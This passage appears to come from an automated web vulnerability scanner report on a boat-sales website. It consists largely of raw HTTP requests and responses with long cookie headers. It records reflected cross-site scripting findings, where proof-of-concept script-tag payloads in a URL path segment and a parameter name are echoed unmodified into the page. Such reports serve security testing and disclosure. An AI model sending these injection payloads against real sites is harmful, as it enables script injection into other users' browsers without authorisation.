s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:20 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 27 Jan 2011 17:33:34 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:20 GMT Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cdba"><script>alert(1)</script>07c72c71ca was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Classic-2250145/Babylon/NY/United-States5cdba"><script>alert(1)</script>07c72c71ca HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:53 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 27 Jan 2011 17:33:34 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:53 GMT Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.160. http://www.yachtworld.com/boats/2008/Regulator-32-Classic-2250145/Babylon/NY/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25f13"><script>alert(1)</script>64310e7d56b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2008/Regulator-32-Classic-2250145/Babylon/NY/United-States?25f13"><script>alert(1)</script>64310e7d56b=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:36 GMT Server: Apache Cache-Control: private If-Modified-Since: Thu, 27 Jan 2011 17:33:34 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:02:35 GMT Set-Cookie: VIEWED_BOATS_STORE=2250145%5B%25%5D32%27+Regulator+32+Classic%5B%25%5DUSD%26nbsp%3B159%2C900%5B%25%5DBabylon%2C+NY%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F5%2F0%2F1%2F2250145_1_mini.jpg%3F1282409230000%5B%25%5D%2Fboats%2F2008%2FRegulator-32-Classic-2250145%2FBabylon%2FNY%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: 